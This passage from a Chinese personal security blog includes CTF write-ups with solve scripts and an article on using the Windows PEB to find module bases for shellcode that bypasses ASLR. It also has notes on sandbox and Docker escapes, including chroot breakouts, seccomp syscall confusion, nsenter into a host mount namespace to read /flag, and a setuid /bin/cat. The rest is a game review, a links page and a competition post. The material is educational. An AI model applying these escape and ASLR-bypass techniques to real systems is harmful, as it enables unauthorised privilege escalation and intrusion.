给的server.py并不会输出第几张图片判断错了，但是实际交互时显示了。而且在我把所有图片都无重复地保存下来后发现总共只有100张图片，服务器会每次选20张让我们判断真伪，因此我们可以先将所有图片都随便打上标签，然后根据标签去向服务器发送答案，服务器每次都会给我们纠错一张，我们根据错误信息修改对应图片的标签，很快就能将所有图片的标签都修改正确。这时无论服务器选哪20张我们都能给出正确的答案。

保存图片的脚本：

import hashlib
import base64
import os
import uuid
from pwn import *

def verify_pow_solution(challenge, solution):
    prefix = "0000"
    guess = solution + challenge
    guess_hash = hashlib.sha256(guess.encode()).hexdigest()
    return guess_hash.startswith(prefix)

def solve_pow(challenge, difficulty=4, timeout=0.5):
    start_time = time.time()
    while True:
        for solution in (f"{i:0{difficulty}x}" for i in range(16 ** difficulty)):
            if verify_pow_solution(challenge, solution):
                return solution
        if time.time() - start_time >= timeout:
            return None
            
def save_image():
    count = 0   
    for i in range(20):
        p.recvuntil(b'Is this picture real or not (Y/N)? \n')
        b64_image = p.recvuntil(b'\n', drop=True)
        # compared with the local images using b64, if the image is not in the local images, save it
        # using a uuid as the filename
        # if folder is empty, save the image directly
        if not os.listdir('images'):
            with open(f'images/{uuid.uuid4()}.png', 'wb') as f:
                f.write(base64.b64decode(b64_image))
                count += 1
        else:
            save_flag = True
            for filename in os.listdir('images'):
                with open(f'images/{filename}', 'rb') as f:
                    if base64.b64encode(f.read()).decode() == b64_image.decode():
                        save_flag = False
                        break
            if save_flag:
                with open(f'images/{uuid.uuid4()}.png', 'wb') as f:
                    f.write(base64.b64decode(b64_image))
                    count += 1

    info(f"save {count} images")

p = remote('instance.penguin.0ops.sjtu.cn', 18081)
p.send(b'CONNECT w44bxg7cgh48frjc:1 HTTP/1.1\r\n\r\n')
p.recvuntil(b"solution + '")
challenge = p.recvuntil(b"'", drop=True).decode()
info(f"challenge: {challenge}")
# p.interactive()
solution = solve_pow(challenge)
info(f"solution: {solution}")
p.sendline(solution.encode())
save_image()
p.close()

这道题的标签我一开始是用模型打的，但是准确率并不高。exp如下：

import hashlib
import base64
import os
import time
from pwn import *

context.log_level = 'info'

def verify_pow_solution(challenge, solution):
    prefix = "0000"
    guess = solution + challenge
    guess_hash = hashlib.sha256(guess.encode()).hexdigest()
    return guess_hash.startswith(prefix)

def solve_pow(challenge, difficulty=4, timeout=0.5):
    start_time = time.time()
    while True:
        for solution in (f"{i:0{difficulty}x}" for i in range(16 ** difficulty)):
            if verify_pow_solution(challenge, solution):
                return solution
        if time.time() - start_time >= timeout:
            return None
            
def eval_image():
    for _ in range(20):
        p.recvuntil(b'Is this picture real or not (Y/N)? \n')
        b64_image = p.recvuntil(b'\n', drop=True)
        for filename in os.listdir('images_model'):
            with open(f'images_model/{filename}', 'rb') as f:
                if base64.b64encode(f.read()).decode() == b64_image.decode():
                    correct_answer = filename[-5].upper()
                    file_list.append(filename)
                    if correct_answer != 'Y' and correct_answer != 'N':
                        correct_answer = 'N'
                    correct_answers.append(correct_answer)
                    break

    p.recvuntil(b" all 20 rounds (Y/N): ")
    data = ''.join(correct_answers)
    info(data)
    p.sendline(data.encode())


while True:
    correct_answers = []
    file_list = []
    p = remote('instance.penguin.0ops.sjtu.cn', 18081)
    p.send(b'CONNECT gmvfevkv2k6p982q:1 HTTP/1.1\r\n\r\n')
    p.recvuntil(b"solution + '")
    challenge = p.recvuntil(b"'", drop=True).decode()
    info(f"challenge: {challenge}")
    # p.interactive()
    solution = solve_pow(challenge)
    if solution is None:
        p.close()
        continue
    info(f"solution: {solution}")
    p.sendline(solution.encode())
    eval_image()
    try:
        response = p.recvuntil(b"Incorrect answer for Round ", timeout=0.3)
        wrong_round = p.recvuntil(b".", drop=True)
        info(f"wrong_round: {wrong_round}")
        wrong_round = int(wrong_round)
        wrong_filename = file_list[wrong_round - 1]
        # change the filename to the right answer(opposite of original answer)
        # modify the filename to the right answer
        correct_answer = correct_answers[wrong_round - 1]
        if correct_answer == 'Y':
            correct_answer = 'N'
        else:
            correct_answer = 'Y'
        right_filename = wrong_filename[:-5] + correct_answer + '.png'
        # append the wrong filename to log.txt
        with open('log.txt', 'a') as f:
            f.write(f'{wrong_filename}\n')
        os.rename(f'images_model/{wrong_filename}', f'images_model/{right_filename}')
        p.close()
        continue
    except:
        break

p.interactive()

flag:

flag{DeepFake_1s_Ea5y_aNd_1ntere5t1ng!}

RealOrNotRevenge
#

本题考察的是谷歌识图的能力。

下载图片和之前一样，这道题我下载下来只有86张图片。我全部拿去谷歌识图，能搜到的大多数是unsplash上的图片。能搜到的我都标记Y，搜不到的都标记N。准确率似乎极高。。。跑个几次就出flag了。因此主要工作量在于我手动谷歌识图，但是应该可以写代码调用API？

exp如下：

import hashlib
import base64
import os
import time
from pwn import *

context.log_level = 'info'

def verify_pow_solution(challenge, solution):
    prefix = "00000"
    guess = solution + challenge
    guess_hash = hashlib.sha256(guess.encode()).hexdigest()
    return guess_hash.startswith(prefix)

def solve_pow(challenge, difficulty=5, timeout=3):
    start_time = time.time()
    while True:
        for solution in (f"{i:0{difficulty}x}" for i in range(16 ** difficulty)):
            if verify_pow_solution(challenge, solution):
                return solution
        if time.time() - start_time >= timeout:
            return None
            
def eval_image():
    for _ in range(20):
        p.recvuntil(b'Is this picture real or not (Y/N)? \n')
        b64_image = p.recvuntil(b'\n', drop=True)
        for filename in os.listdir('images_model'):
            with open(f'images_model/{filename}', 'rb') as f:
                if base64.b64encode(f.read()).decode() == b64_image.decode():
                    correct_answer = filename[-5].upper()
                    file_list.append(filename)
                    if correct_answer != 'Y' and correct_answer != 'N':
                        correct_answer = 'N'
                    correct_answers.append(correct_answer)
                    break

    p.recvuntil(b" all 20 rounds (Y/N): ")
    data = ''.join(correct_answers)
    info(data)
    p.sendline(data.encode())


while True:
    correct_answers = []
    file_list = []
    p = remote('instance.penguin.0ops.sjtu.cn', 18081)
    p.send(b'CONNECT 6gmer7hwgjkkh6fc:1 HTTP/1.1\r\n\r\n')
    p.recvuntil(b"solution + '")
    challenge = p.recvuntil(b"'", drop=True).decode()
    info(f"challenge: {challenge}")
    # p.interactive()
    solution = solve_pow(challenge)
    if solution is None:
        p.close()
        continue
    info(f"solution: {solution}")
    p.sendline(solution.encode())
    eval_image()
    print(len(file_list))
    response = p.recvline()
    if b'flag' in response:
        print(response)
        break
    p.close()

flag:

flag{Revenge_1s_Ea5y_aNd_1ntere5t1ng!}

f and r
#

本题考察的是信息检索能力和动手能力。

几乎全靠这篇文章：

https://wumb0.in/extracting-and-diffing-ms-patches-in-2020.html

根据文章提到的步骤把msu里面的cab提取出来：

mkdir content
expand.exe -F:* ".\windows10.0-kb114514-x64.msu" ./content
cd content
mkdir content
expand.exe -F:* ".\Windows10.0-KB114514-x64.cab" ./content
cd content
mkdir content
expand.exe -F:* ".\Windows10.0-KB114514-x64.cab" ./content
cd content
mkdir content
expand.exe -F:* ".\Cab_for_KB114514_PSFX.cab" ./content

发现f和r文件夹下都有curl.exe。那么我们要做的就是从delta和curl.exe恢复出一个二进制文件。

需要利用作者编写的delta_patch.py。但是直接将题目给的f和r喂进去是行不通的。

文中有这么一段：

To generate the binaries I want I’m going to apply the reverse delta and then each forward delta, creating two output files:

PS > python X:\Patches\tools\delta_patch.py -i ntoskrnl.exe -o ntoskrnl.2020-07.exe .\r\ntoskrnl.exe X:\Patches\x64\1903\2020\2020-07\x64\os-kernel_10.0.18362.959\f\ntoskrnl.exe
Applied 2 patches successfully
Final hash: zZC/JZ+y5ZLrqTvhRVNf1/79C4ZYwXgmZ+DZBMoq8ek=
PS > python X:\Patches\tools\delta_patch.py -i ntoskrnl.exe -o ntoskrnl.2020-08.exe .\r\ntoskrnl.exe X:\Patches\x64\1903\2020\2020-08\x64\os-kernel_10.0.18362.1016\f\ntoskrnl.exe
Applied 2 patches successfully
Final hash: UZw7bE231NL2R0S4yBNT1nmDW8PQ83u9rjp91AiCrUQ=

何意呢，目测是说：

我们有一个比较新的文件，一个旧补丁，一个处于中间的补丁。利用旧补丁的r回到旧版本，再用中间补丁的f就可以生成中间版本。

update.mum里面有一串网址：https://support.macrohard.com/help/5034203

好好好把巨硬改成微软，发现是KB5034203更新，那就把这个msu下载下来，提取出其中curl的f和r。

然后用KB5034203的r回滚到旧版本，用题目给的f生成我们要的二进制文件。

python delta_patch.py -i curl.exe -o curl.patched.exe .\kb5034203\r\curl.exe .\kb114514\amd64_curl_0o0o0o0o0o0o0o0_10.0.19041.9999_none_0o0o0o0o0o0o0o0\f\curl.exe
.\curl.patched.exe --version

得到flag:

flag{ dc1d03c554150a cedca6d71ce394 }

去掉空格即可。

Boy’s Bullet
#

本题考查图片exif编辑能力和阅读理解能力。

回旋镖是吧。2000年出生的男孩24岁开枪38岁噶了，我作为一个2024年出生的照片也应该38岁时噶，所以应该是2062年。刚开始这个时间戳没搞明白啥意思，一开始文件名里带时间错，后来在图片里加时间戳，后来才猛地想起exif也有时间戳。

用这个网站随便修改了一张图片的exif信息（Modify Date），然后上传：

curl -T 2062.jpeg http://111.186.57.85:10038

就能得到flag:

flag{47_7h15_m0m3n7_3duc4710n_h45_c0mp1373d_4_72u1y_c1053d_100p}

没记flag，学校那个莫名连不上，换geekctf复现的。

Windows PEB 利用

root@beacox.space (BeaCox) — Sat, 16 Mar 2024 20:00:00 +0000

ASLR
#

ASLR，全称 Address space layout randomization，即地址空间配置随机加载。多数现代的应用程序都会开启 ASLR。目的是防止攻击者事先获知程序的虚拟内存地址，防止攻击者能可靠地跳转到内存的特定位置来利用函数。

在Linux中，ASLR 的实现方式是同一个应用程序每次启动都会被加载到不同的位置。而在 Windows 中，只能保证系统重启后地址的随机性。

究其原因，是对性能和安全性权衡后的结果。由于 Windows 不采用 PIE，因此其 ASLR 的实现需要付出内存代价。每次将库映射到不同地址时，都会占用更多内存。

当然这也意味着，如果我们在某台 Windows 机器上获取了一次库函数的虚拟地址，在其重启之前，我们都能够继续使用。

PEB
#

在 Linux 中，内核通过task_struct保存并管理进程相关的信息，在 Windows 中起到类似作用的是PEB。当然，还是有许多不同之处。例如 PEB 在用户态中而 task_struct在内核态中。

进程环境块（PEB）是 Windows NT 操作系统内部使用的数据结构，用以存储每个进程的运行时数据。

维基百科对 PEB 的描述足够全面，推荐感兴趣的读者继续阅读，值得注意的是中文翻译有些瑕疵。说回到 PEB，PEB 是一个结构体，包含了进程是否被调试、被加载模块的虚拟地址等大量信息。

在 Windows 11 23H2 (2023 Update) 版本的内核中，PEB 的部分定义如下：

//0x7d0 bytes (sizeof)
struct _PEB
{
    UCHAR InheritedAddressSpace;                                            //0x0
    UCHAR ReadImageFileExecOptions;                                         //0x1
    UCHAR BeingDebugged;                                                    //0x2
    union
    {
        UCHAR BitField;                                                     //0x3
        struct
        {
            UCHAR ImageUsesLargePages:1;                                    //0x3
            UCHAR IsProtectedProcess:1;                                     //0x3
            UCHAR IsImageDynamicallyRelocated:1;                            //0x3
            UCHAR SkipPatchingUser32Forwarders:1;                           //0x3
            UCHAR IsPackagedProcess:1;                                      //0x3
            UCHAR IsAppContainer:1;                                         //0x3
            UCHAR IsProtectedProcessLight:1;                                //0x3
            UCHAR IsLongPathAwareProcess:1;                                 //0x3
        };
    };
    UCHAR Padding0[4];                                                      //0x4
    VOID* Mutant;                                                           //0x8
    VOID* ImageBaseAddress;                                                 //0x10
    struct _PEB_LDR_DATA* Ldr;                                              //0x18
    struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters;                 //0x20
    VOID* SubSystemData;                                                    //0x28
    VOID* ProcessHeap;                                                      //0x30
    struct _RTL_CRITICAL_SECTION* FastPebLock;                              //0x38
    union _SLIST_HEADER* volatile AtlThunkSListPtr;                         //0x40
    VOID* IFEOKey;                                                          //0x48
	……
};

在本文中，我们主要关注偏移为 0x18 的 Ldr 字段。为什么？因为它包含了被加载模块（用到的库）的虚拟地址。

Ldr 概览
#

在利用之前，或许应该先看看这个字段包含什么内容。我先在 Windbg 中随机打开一个应用程序看看 PEB 及 Ldr 的内容。

在命令框中键入lm，即 list modules，可以看到这个应用加载了5个模块。其中a是程序本身的名字（a.exe），而KERNEL32是我们关心的另一个模块，因为它控制着系统的内存管理、数据的输入输出操作和中断处理，或者换句话说，其中有许多我们可以利用的函数（如WriteFile()用来写）。在不使用调试工具的时候我们无法如此便捷地获取被加载模块的地址，因此我们需要用到 PEB。

在 Windbg 中也可以很方便地查看 PEB 信息：

在命令框中键入!peb可以看到 Ldr.InMemoryOrderModuleList下存储着被加载模块地基地址，其中第一个和第三个是我们的目标，其显示的基地址和之前使用lm命令查看到的地址是一致的。

值得一提的是，这些 Modules 正是以 List 链表形式存储的。我们简单地验证一下：

不难发现，在每个条目的开头存储着下一个条目的地址，而偏移 0x20 处存储着被加载模块的基地址。因此当我们表头的地址时，我们可以通过每个链表项跳转到下一个链表项、可以获取每个链表项下模块的基地址。

PoC
#

接下来就是编写 C 代码获取被加载模块虚拟地址的 demo 了。我们先提出尚未解决的几个问题：

如何获得 PEB 结构体在内存中的地址？
Ldr 相对 PEB 的偏移量已知是 0x18，Ldr.InMemoryOrderModuleList 相对 Ldr 的偏移是多少？

先回答第二个问题：Ldr.InMemoryOrderModuleList 相对 Ldr 的偏移是 0x20 。并且在我们编写 C 代码的时候，不需要知道具体的偏移量，只需要知道字段名称即可，相应的库会帮我们处理好偏移量。

接着是第一个问题：Windows 用 FS/GS 寄存器来存储 PEB 的地址，分别对应32位/64位。具体如下：

32位：fs:0x30
64位：gs:0x60

:后代表偏移量。

解决了这两个问题之后就可以编写 C 代码了：

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winnt.h>
#include <winternl.h>

int main(void) {
    // __readgsqword(0x60) equals to mov <register>, gs:[0x60]
    PPEB pebPtr = (PPEB)__readgsqword(0x60);
    PPEB_LDR_DATA ldrData = pebPtr->Ldr;
    PLIST_ENTRY moduleList = &ldrData->InMemoryOrderModuleList;
    // Get the first module in the list
    PLDR_DATA_TABLE_ENTRY program_module = CONTAINING_RECORD(moduleList->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

    // Skip 3 modules to get kernel32.dll
    moduleList = moduleList->Flink;
    moduleList = moduleList->Flink;
    moduleList = moduleList->Flink;
    // Get kernel32.dll
    PLDR_DATA_TABLE_ENTRY kernel32_module = CONTAINING_RECORD(moduleList, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
    PVOID program_base = program_module->DllBase;
    PVOID kernel32_base = kernel32_module->DllBase;
    printf("Program base: %p\n", program_base);
    printf("Kernel32 base: %p\n", kernel32_base);

    return 0;
}

简单地解释一下流程：

通过 gs 寄存器获取 PEB 地址
通过 PEB 结构体获取 Ldr
通过 Ldr 获取 InMemoryOrderModuleList
Flink 一次将取出表头，在固定的偏移处可以取出程序基地址
Flink 3次将取出第三项，在同样的偏移处可以取出 Kernel32.dll 的基地址

编译成可执行文件并运行：

gcc poc.c
./a.exe

得到输出：

Program base: 0000000000400000
Kernel32 base: 00007FFEBE4B0000

发现与在 Windbg 中得到的一致。

这证明：我们可以通过编写 C 代码获得被加载模块的基地址。更进一步地，我们的 C 代码经过编译后反汇编得到的汇编代码简单清晰，这意味着我们可以编写比较简单的汇编来实现这一目标。换言之，我们可以在 shellcode 中实现这一目标从而绕过 ASLR。

《山河旅探》(Murders on the Yangtze River) 通关简评

root@beacox.space (BeaCox) — Fri, 16 Feb 2024 20:32:00 +0000

收到朋友的安利，趁着过年打折入手了《山河旅探》。其实我此前很少玩推理游戏，可能是因为以前玩剧本杀时我也鲜有准确的推理。一开始吸引我的，是《山河旅探》的水墨风以及据说精彩的剧情。事实证明，《山河旅探》不只有这些优点。

画风
#

《山河旅探》是一款横轴的推理探案游戏，故事发生在清末民初——正是中国封建主义社会受到到西方政治文化强烈冲击的年代。因此游戏画面即包含田野乡间、官府衙门，也包含汉阳铁厂、轮船、上海街头、会审公廨（中国近代史上外国租界内的司法审判机构，在这些机构内由租界国领事与中国官员共同审理案件）等场景，跨度非常大。比起某些国产动漫（比如《雾山五行》），《山河旅探》的水墨风不算震撼，但是场景的细节都做得不错。

剧情
#

游戏明暗线交织，6个发生在不同地点的案件串联起来的故事，在最后的结局中汇聚、迸发。虽然仅仅10小时左右的游戏时长，但是将许多人物都刻画得立体鲜明——自私的、为祖国事业奋斗的、迷信的、进步的、公正的、伪善的……游戏很好地将故事背景融入到了故事和人物当中，每个人物都是那个年代某一批人的群像。而从案情上来讲，作为一个推理游戏，作案、探案的逻辑经得起推敲，需要细细琢磨。不少案件中的作案手法也是让我觉得脑洞大开。

玩法
#

一开始我已经准备好将这个游戏当作视觉小说去玩了，但是一上手我就知道不带脑子不行了。游戏的玩法比较丰富：作案工具指认、证物指认、证人指认、证言之间的矛盾指认、证言与证物之间的矛盾指认、尸体勘察、现场勘察等，还原了实际探案的大多数流程，十分有代入感。难度上，有个别场景的推理比较难，但大多数时间里我都能做出正确的推理。游戏中也有一些简单的小游戏用于调整节奏。由于之前没有玩过相同类型的推理游戏，因此玩法对于我来说足够新鲜也足够丰富。

配音/配乐
#

游戏中有不少外国人（英国人），英文配音的伦敦腔挺冲，有种在听小学英语听力的感觉，不过倒是符合人物设定。游戏中还有一段是外国人说着蹩脚中文，此时的字幕也是故意使用错别字，挺有趣。美中不足的是有些片段只有字幕没有配音。以及部分配音片段明显前后音色有差距，有些出戏。

游戏的配乐十分出彩，做到了根据剧情的变化无缝切换，能很好地让玩家沉浸到游戏中去。由于一个人在老家的大房子里玩，时常被剧情配合背景音乐吓得心慌。

其他
#

游戏中会通过收藏夹的方式介绍非常多的史实和知识，对于我这种一年读不了几本闲书的人来说非常有趣。同时这种方式也能让玩家更好地了解背景知识、更能够代入到每一个角色中去。

之前也听说这部作品从《逆转裁判》系列中借鉴了许多，不过我没有玩过《逆转裁判》系列，因此不能做一个客观的评价。但这部作品在结尾致谢了许多参与制作的人员以及借鉴的游戏、小说等各种作品，借鉴的作品在首页能够点开的开发者寄语中也有：

那么至少游戏制作方是心怀感激、尊重知识产权的，这点就值得国内许多游戏厂商学习了。之后也会再品鉴《逆转裁判》系列，以便更好地评价该作。

友情链接

root@beacox.space (BeaCox) — Mon, 05 Feb 2024 09:09:28 +0800

本站已暂停友链交换。

Felix Chen

所见一切皆是奇迹。

M0dZer0's Blog

位卑未敢忘忧国！

杜老师说

师者，传道，授业，解惑！

Steven Lynn's Blog

Steven Lynn的个人博客

张洪Heo

分享设计与科技生活

Ghyuav的博客

恭喜，你发现了宝藏

PluginsKers

凡心所向，素履所往 🌊

一蓑烟雨的博客

竹杖芒鞋轻胜马，谁怕？一蓑烟雨任平生。

xaoxuu

Live long and prosper. 🖖

Ykuee的博客

这是我与懒癌间的抗争史

BOKEBO

愉悦理性却又不轻浮

MHuiG

「Be Yourself Make a Difference」

枋柚梓的猫会发光

繁星永存，记忆更古不变。

Android

矩阵

iMaeGoo’s Blog

虹墨空间站

沙箱与Docker

root@beacox.space (BeaCox) — Sat, 16 Sep 2023 22:37:53 +0000

沙箱技术杂谈
#

为什么沙箱技术被称为沙箱技术？
#

在现实生活中，沙箱是一个装满沙子的小箱子，小孩儿们可以在沙箱里面发挥自己的想象力——建沙堡、画画等，而不会将沙子弄得满地都是。

在计算机安全领域，沙箱技术的主要目标是隔离和保护程序，以防止它们对系统或其他应用程序造成不必要的损害或干扰。

沙箱技术的历史
#

早在上世纪60年代，就已经通过硬件实现了系统和进程代码的隔离。

80年代，通过硬件方法隔离不同进程的内存空间。VAX/VMS操作系统引入了"访问控制列表"的概念，允许管理员对文件和资源进行更细粒度的权限控制。这是隔离和控制访问的重要步骤。

90年代，互联网逐渐开始普及。产生了解释器和被解释的代码之间的隔离，以及Java虚拟机（JVM）等早期沙箱技术。

2000年左右，是针对浏览器的网络攻击最盛之时。

而2010年前后，现代沙箱技术崛起了，主要用于浏览器，让不被信任的代码、数据被放置于一个被隔离的进程中。当被隔离的进程（子进程）想要执行一些需要授权的操作时，需要向父进程（如Firefox）请求，得到允许后方可执行。

沙箱逃逸
#

chroot()
#

chroot()系统调用最早于1979年出现在Unix系统，然后出现在BSD系统。这是一种传统沙盒。

chroot('/sandbox')的作用是让调用该函数的进程以及其子进程认为根目录是/sandbox，在/sandbox中时，不能cd ../到真正的根目录，因此一定程度上限制了进程对/sandbox外资源的访问。

路径穿越
#

考虑在根目录运行如下C代码（不完整）：

chroot("/sandbox");
execl("/busybox", "sh", 0); // Busybox在单一的可执行文件中提供了精简的Unix工具集，在这可以理解为运行了一个Linux系统

初看：busybox运行，它认为自己的根目录是/sandbox。但问题是，调用chroot()不会自动更改工作目录，因此busybox的工作目录还在根目录，可能可以借由这个工作目录访问沙箱外的资源。

资源未关闭
#

仅仅执行chroot()，并不会将先前打开的资源（如文件）关闭（留下文件句柄）。

Linux中有许多后缀为at的系统调用，可以根据目录（的句柄）和相对路径找到文件。以下是一些例子：

int openat(int dirfd, char *pathname, int flags);
int execveat(int dirfd, char *pathname, char **argv, char **envp, int flags);

如果先前有打开的目录未释放句柄，那么很容易利用句柄访问任意文件。

重复调用chroot()
#

调用了一次chroot()后，如果没有明确限制，可以再次调用chroot()。考虑以下情况：

位于根目录为/sandbox的沙箱中（已经执行chroot("/sandbox");）。

mkdir springboard	# 在沙箱的根目录中创建目录
chroot springboard	# 现在进程认为/sandbox/springboard是它的根目录
# 但是现在工作目录是/sandbox，我们实际上处于进程所认为的根目录外面，因此不受限制
# chdir ../../
# 现在工作目录就是/
# 我们已经到达了真正的根目录

seccomp
#

seccomp被称作系统调用的防火墙。可以禁用某些系统调用，或者基于参数来禁用。 docker、chrome、firefox等，都依赖于seccomp。

seccomp的规则将会被children继承

scmp_filter_ctx ctx;										//seccomp过滤规则的数据结构
ctx = seccomp_init(SCMP_ACT_ALLOW);							//初始化seccomp, 允许所有系统调用
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0); 	//禁止 execve 系统调用
seccomp_load(ctx);											//应用规则

execl("/bin/cat", "cat", "/flag", (char *)0);				//这个函数会调用 execve，将被 kill

更多使用方法：

man seccomp_rule_add

宽松的过滤规则
#

Linux系统现在有300多种系统调用，且仍然在不断更新，十分复杂。沙箱应用开发者为了功能、性能或方便，可能会制定相对宽松的过滤规则。有些未被允许的系统调用就有可能被用于逃逸。

系统调用混淆
#

许多64位架构向后兼容了32位。在amd64等架构中，你可以在同一个进程中切换32/64位模式。

不过有趣的是，不同架构（甚至是同一个架构的32/64位）的系统调用号不一样。例如：

exit()在amd64中号码是60，在x86中是1。

在amd64操作系统中，seccomp默认配置的是amd64下允许/禁用的系统调用。如果允许两种模式下的系统调用，那么沙盒很可能顾此失彼。

考虑下面这种情况：

系统调用号	amd64	x86
3	close	read()
4	stat()	write()
5	fstat()	open()

如果开发者在配置规则时，本意是允许close(), stat(), fstat()系统调用，但由于seccomp是根据系统调用号进行过滤，当我们使用32位的指令进行系统调用时，我们竟然可以调用open, read, write——这意味着我们可以读取文件的内容并输出到其他文件或标准输出等。

内核漏洞
#

如果沙盒的seccomp被正确配置，攻击者很难发起有用的攻击。但是，用户仍然可以调用在白名单中的系统调用。如果内核中含有漏洞，通过系统调用，攻击者就可能利用这些内核漏洞。

听起来很玄乎，但其实内核与普通软件一样，都是代码，都或多或少存在漏洞，单是2019年一年，就有超过30个Chrome沙盒逃逸，其中大部分利用了内核漏洞。

namespace——现代解决方案
#

命名空间是 Linux 中可用的功能，用于隔离不同系统资源方面的进程。在Linux中有很多namespace，包括：

mnt（挂载点，文件系统）
pid（进程）
net（网络堆栈）
IPC（系统 V IPC）
uts（主机名）
用户（UID）

等。使用挂载命名空间、pivot_root可以让用户只能访问原本文件树的一部分。

原有root挂载点未删除
#

一般会将旧的根目录挂载到沙箱内某个挂载点，然后使用pivot_root将根目录换成新的“根目录”，然后再将该挂载点和目录删除。如果忘记删除原有挂载点，则沙箱形同虚设。

共享文件系统
#

如果沙箱和宿主共用文件系统（沙箱对文件系统有写权限），那么沙箱用户就可以利用自己的root权限来在沙箱外提取。例如，在沙箱内：

chmod 4755 /bin/cat

那么在沙箱外的任何用户就都可以以root身份运行cat，这意味着可以读取任何文件。

先前打开的资源未关闭
#

与chroot()中讨论的一致。

setns()和/proc
#

setns():

int setns(int fd, int nstype);

fd参数是下列两者其中之一：

• 指向/proc/pid/ns/目录中的一个链接（或绑定挂载到此类链接）的文件描述符；

• 一个进程文件的句柄

nstype视情况而定。

setns()系统调用可以将当前进程的命名空间切换成其他进程的命名空间。

在bash中，可以：

PID=149
nsenter --mount=/proc/$PID/ns/mnt cat /flag

这样当前bash就会拥有和PID为149的进程一样的挂载命名空间。假如这个进程是沙箱外的，那么当前bash就有了沙箱外的挂载命名空间，意味着沙箱内用户可以访问完整的文件树。

也就是说，将原有的/proc挂载到沙箱中，且沙箱外有其他进程未关闭的情况下，是非常危险的！

Docker
#

Docker容器 vs 沙箱
#

Docker容器和沙箱有许多相似之处，例如：

环境隔离

两者都与宿主系统产生了一定的隔离，起到了限制和保护作用
轻量

相比于虚拟机，两者都称得上轻量

但两者是截然不同的技术：

隔离级别：

Docker容器提供了一种相对较高级别的隔离，包括文件系统隔离、进程隔离、网络隔离等。容器之间通常是相互隔离的，但它们仍然在同一个操作系统内核上运行。沙箱通常提供更加细粒度的隔离，通常是为了限制单个应用程序或代码的权限。沙箱环境可以是单进程的，不涉及多个容器或应用程序的协同工作。
用途：

Docker容器是用于构建、打包和运行应用程序的独立、可移植的环境。它们旨在在不同的环境中一致地运行应用程序，包括开发、测试和生产环境。Docker容器通常包括应用程序及其依赖项，并提供了隔离、版本控制和自动化部署的能力。沙箱是一种安全机制，用于隔离和限制运行在其中的代码或程序的能力。沙箱旨在提供一种受限制的执行环境，以防止应用程序或代码对系统或其他应用程序造成损害。它通常用于执行不受信任的代码或对应用程序进行测试，以减少潜在的风险。
隔离技术：

Docker容器使用容器化技术，如Docker引擎，通过Linux命名空间、控制组等技术提供隔离和资源管理。沙箱可以使用各种技术，包括操作系统级别的虚拟化、chroot、Seccomp、AppArmor等，具体取决于实现。

Docker安全
#

除了在沙箱技术中提到的namespace, seccomp等，Docker还使用capabilities, control groups等来Linux提供的功能来提升安全性。

cgroups：
- 资源隔离：Docker使用 cgroups 来隔离容器的资源使用，包括CPU、内存、磁盘I/O等。每个容器都可以分配一定的资源配额，以确保它们不会互相干扰或抢占主机上的资源。
- 资源限制：cgroups 允许设置容器的资源限制，例如限制 CPU 使用率、内存使用量等。这有助于防止容器滥用主机上的资源，提高整个系统的稳定性。
- 资源监控：通过 cgroups，你可以监视容器的资源使用情况，以便进行性能调整和资源规划。
capabilities：
- 最小权限原则：Docker 使用 Linux 的 capabilities 功能来确保容器中的进程以最小权限原则运行。capabilities 允许我们将权限分配给进程，而不需要完全的 root 权限。这样可以减小潜在的攻击面。
- 降低特权：Docker 默认情况下会剥夺容器中的进程一些敏感的权限，如修改主机的网络配置或访问主机的设备。这有助于降低容器中运行的进程对主机的潜在威胁。

值得一提的是，如果主机 /proc 目录被挂载在 docker 容器中，而且容器的capabilities配置了 CAP_SYS_ADMIN （很高的权限，例如可以挂载文件系统），那么我们能够很轻松的从容器中逃逸。

EOVS——企业运营仿真赛参赛记录

root@beacox.space (BeaCox) — Wed, 11 Jan 2023 17:47:50 +0000

去年12月中旬随队参加了第十二届上海市大学生工程实践与创新能力大赛——企业运营仿真赛项，获得了特等奖，也是我在乏善可陈的大学生活中拿到的第一个市级奖项。前段时间忙于“补天”（预习期末科目）没有更新，2023的第一篇文章就从这项比赛着笔吧。

什么是EOVS？
#

EOVS，又称企业运营仿真赛，是商赛的一种。竞赛内容引用原文：

参赛队员组建经营团队，每个团队分设总经理、财务总监、生产总监、营销总监4个岗位，需要创建一家生产制造型企业，模拟该企业两年八个季度的经营过程。涉及公司创建、材料采购、生产运营、市场营销、财务管理等相关企业经营活动。在企业运营过程中，竞赛团队应充分考虑企业的外部环境和企业内部运营状况，结合竞争对手情况，制定科学合理的企业运营策略，管理企业运营风险，实现企业利润最大化。

该赛项的组织机构是在教育部工程训练竞赛组委会领导下成立的企业运营仿真赛项组委会。不难看出，赛事的含金量远比不上著名的贝恩杯、奥纬杯、华为财务精英挑战赛等，但在全国范围内还是有一定热度的。另外，引用中国大学生工程实践与创新能力大赛官网：

中国大学生工程实践与创新能力大赛是列入《教育部评审评估和竞赛清单（2021年版）》（教政法厅函(2021)2号）的重要赛事。

亦即是说这是一项被教育部认可的比赛。抛开功利去谈这项比赛的话，我更愿意称其为一款游戏，一款模拟经营类游戏、倾向于协作的团队游戏。打完一局标准、完整的比赛大概需要4-5个小时，每一次打训练赛都像是酣畅淋漓地玩了一场烧脑的策略游戏。

为什么会参加EOVS？
#

众所周知，我是打工人工科生，商赛的名头对我来说没什么吸引力。大一上学期时（2021年秋）认识了个朋友，挺社牛的，拉着我参加企业运营仿真赛的校内赛。当时挺闲的，再加上第一名的队伍有1000元奖金（平摊下来每个人250……，奇怪的数字，但是用来好好吃一顿不香吗），就一起报名参加了。

参赛经历
#

校内赛夺魁
#

